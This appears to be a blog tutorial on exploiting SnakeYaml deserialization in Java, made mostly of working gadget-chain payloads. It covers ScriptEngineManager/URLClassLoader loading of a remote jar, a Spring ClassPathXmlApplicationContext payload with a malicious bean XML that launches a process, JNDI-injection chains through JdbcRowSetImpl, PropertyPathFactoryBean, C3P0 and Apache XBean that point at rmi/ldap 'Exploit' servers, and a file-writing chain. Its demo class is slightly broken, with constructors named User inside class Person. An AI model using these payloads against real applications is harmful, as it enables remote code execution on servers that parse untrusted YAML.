SnakeYaml Exploit

SnakeYaml Exploit

Introduction

SnakeYaml is a yaml parsing library for Java that supports serialization/deserialization of Java objects.

Demo

1
2
3
4
5
6

<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class Person {
private String name;
public int age;

public User(String name, int age) {
this.name = name;
this.age = age;
}

public User() {
System.out.println("Non Arg Constructor");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

@Override
public String toString() {
return "I am " + name + ", " + age + " years old";
}
}

dump

1
2
3
4
5
6
7
8
public class demo {
public static void main(String argc[]){
Person person = new Person("P3ngu1nW", 20);
Yaml yaml = new Yaml();
String str = yaml.dump(person);
System.out.println(str);
}
}
1
2
3
getAge
getName
!!Person {age: 20, name: P3ngu1nW}

!! is used to force type conversions, similar to the @type field in fastjson

dump() also calls the getter method of the non-public members.

load

1
2
3
4
5
6
7
public class demo {
public static void main(String argc[]){
Yaml yaml = new Yaml();
String str = "!!Person {age: 20, name: P3ngu1nW}";
Person person = yaml.load(str);
}
}
1
2
3
Non Arg Constructor
setAge
setName

load() invokes a setter with no reference constructors and non-public members.

In fact, not only can a non-reference constructor be called, but a reference constructor can also be specified to be called, as long as the passed parameter type is the parameter type of the reference constructor.

If a class attribute is publicly modified, the corresponding setter method will not be called, but will be set by reflection.

Exploit

SnakeYaml can only call setter methods in non-public, static, and transient scopes.

ScriptEngineManager

We can use the SPI mechanism to remotely load malicious bytecode files via URLClassLoader by constructing a ScriptEngineManagerpayload.

EXP

Tool: https://github.com/artsploit/yaml-payload

Exp:

1
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"] ]] ]

Code Analysing

In this payload, we init a ClassLoader in ScriptEngineManager.

Next, we init the engine.

Next is a classical SPI iterator.

next() => nextService() loads the interface implementation class and instantiates it.

SpringFramework

There are two classes in Spring whose constructors remotely load configurations that can form an RCE

1
org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext

EXP

1
2
3
4
5
6
7
8
9
10
11
12
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list><value>/System/Applications/Calculator.app/Contents/MacOS/Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
1
!!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:9999/evil.xml"]

Some FastJson Gadget Chains

Most of fastjson’s payloads will also work

JdbcRowImpl

1
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";

Spring PropertyPathFactoryBean

1
2
3
4
5
6
7
8
9
10
11
public class SpringPropertyPathFactoryBeanEXP {  
public static void main(String[] args) {
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
" propertyPath: Drunkbaby\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1389/Exploit\"]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

C3P0 JndiRefForwardingDataSource

1
2
3
4
5
6
7
8
9
public class C3P0JndiRefForwardingDataSourceEXP {  
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"rmi://localhost/Exploit\"\n" +
" loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

C3P0 WrapperConnectionPoolDataSource

1
2
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +  
" userOverridesAsString: \"HexAsciiSerializedMap:evilcode;\"";

Apache XBean

This chain has no version limitation.

1
2
3
4
5
<dependency>  
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.yaml.snakeyaml.Yaml;

public class demo {
public static void main(String argc[]){
String str = "!!javax.management.BadAttributeValueExpException ["+
" !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [" +
" \"P3ngu1nW\", !!javax.naming.Reference [ \"calc\", \"calc\", \"http://127.0.0.1:9999\"], !!org.apache.xbean.naming.context.WritableContext []" +
"]" +
"]";
System.out.println(str);
Yaml yaml = new Yaml();
yaml.load(str);
}
}

Code Analysing

In ContextUtil$ReadOnlyBinding#getObject, we call the method resolve, where exist a JNDI injection.

However, the fields in ContextUtil$ReadOnlyBinding are final modified, so we can’t call the getObject directly.

However, its father class’s toString call the getObject method.

So we can use BadAttributeValueExpException to call the toString

File Writing

1
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },length]]

we can write a jar file and load a local class.

Reference

https://drun1baby.top/2022/10/16/Java反序列化之-SnakeYaml-链/

https://p4d0rn.gitbook.io/java/serial-journey/snakeyaml

SnakeYaml反序列化及不出网利用